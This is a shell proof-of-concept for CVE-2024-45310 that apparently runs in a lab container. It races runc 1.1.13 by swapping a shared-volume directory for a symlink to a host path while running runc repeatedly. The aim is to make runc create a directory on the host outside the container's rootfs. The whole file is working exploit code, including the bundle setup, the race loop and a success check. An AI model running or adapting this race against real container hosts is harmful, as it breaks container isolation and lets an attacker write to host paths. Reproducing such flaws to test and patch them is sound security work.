#!/bin/sh
# Runs INSIDE the inner-host container (cve-2024-45310-innerhost).
# Drives the CVE-2024-45310 symlink-race against runc 1.1.13.
#
# Args:
#   $1 = SHARE      world-writable shared-volume backing (race surface)   e.g. /srv/share-backing
#   $2 = HOST_TARGET host dir outside rootfs+share where the gift lands   e.g. /host-target
#   $3 = LEAF        leaf dir name the bind-mount destination creates     e.g. gift
#   $4 = ITERS       max runc-run iterations                              e.g. 4000
set -u

SHARE="$1"
HOST_TARGET="$2"
LEAF="$3"
ITERS="$4"

RUNC=/usr/local/sbin/runc
WORK=/tmp/poc
BUNDLE="$WORK/bundle"

# ---- build the OCI bundle ----------------------------------------------------
rm -rf "$WORK"
mkdir -p "$BUNDLE" "$WORK/giftsrc"
cp -a /opt/oci-rootfs "$BUNDLE/rootfs"
mkdir -p "$BUNDLE/rootfs/share"

# config.json:
#   mount 1: bind SHARE        -> /share           (shared volume inside rootfs)
#   mount 2: bind giftsrc      -> /share/target/$LEAF
# To create mount 2's mountpoint, runc SecureJoin-resolves /share/target/$LEAF
# (target lives in SHARE, attacker-controlled) then bare os.MkdirAll() it.
cd "$BUNDLE"
"$RUNC" spec
jq ".root.readonly=false
   | .process.args=[\"/bin/true\"]
   | .process.terminal=false
   | .mounts += [
       {\"destination\":\"/share\",\"type\":\"bind\",\"source\":\"$SHARE\",\"options\":[\"bind\",\"rw\"]},
       {\"destination\":\"/share/target/$LEAF\",\"type\":\"bind\",\"source\":\"$WORK/giftsrc\",\"options\":[\"bind\",\"rw\"]}
     ]" config.json > config.json.new && mv config.json.new config.json

# ---- clean the race surface --------------------------------------------------
rm -rf "$SHARE"/* 2>/dev/null || true
rm -rf "$SHARE"/.[!.]* 2>/dev/null || true

# ---- background swapper: race target between real-dir and symlink->HOST -------
TARGET="$SHARE/target"
(
  while [ ! -e "$WORK/.stop" ]; do
    rm -rf "$TARGET" 2>/dev/null
    ln -s "$HOST_TARGET" "$TARGET" 2>/dev/null
    rm -f "$TARGET" 2>/dev/null
    mkdir -p "$TARGET" 2>/dev/null
  done
) &
SWAPPER=$!

# ---- foreground: hammer runc run until the gift appears on the host ----------
i=0
while [ "$i" -lt "$ITERS" ]; do
  i=$((i + 1))
  "$RUNC" run --bundle "$BUNDLE" "poc$i" >/dev/null 2>&1
  "$RUNC" delete -f "poc$i" >/dev/null 2>&1
  if [ -e "$HOST_TARGET/$LEAF" ]; then
    echo "WON race at iteration $i: $HOST_TARGET/$LEAF created"
    break
  fi
done

touch "$WORK/.stop"
kill "$SWAPPER" 2>/dev/null
wait "$SWAPPER" 2>/dev/null
rm -f "$WORK/.stop"

echo "iterations=$i"
ls -la "$HOST_TARGET" 2>/dev/null || true
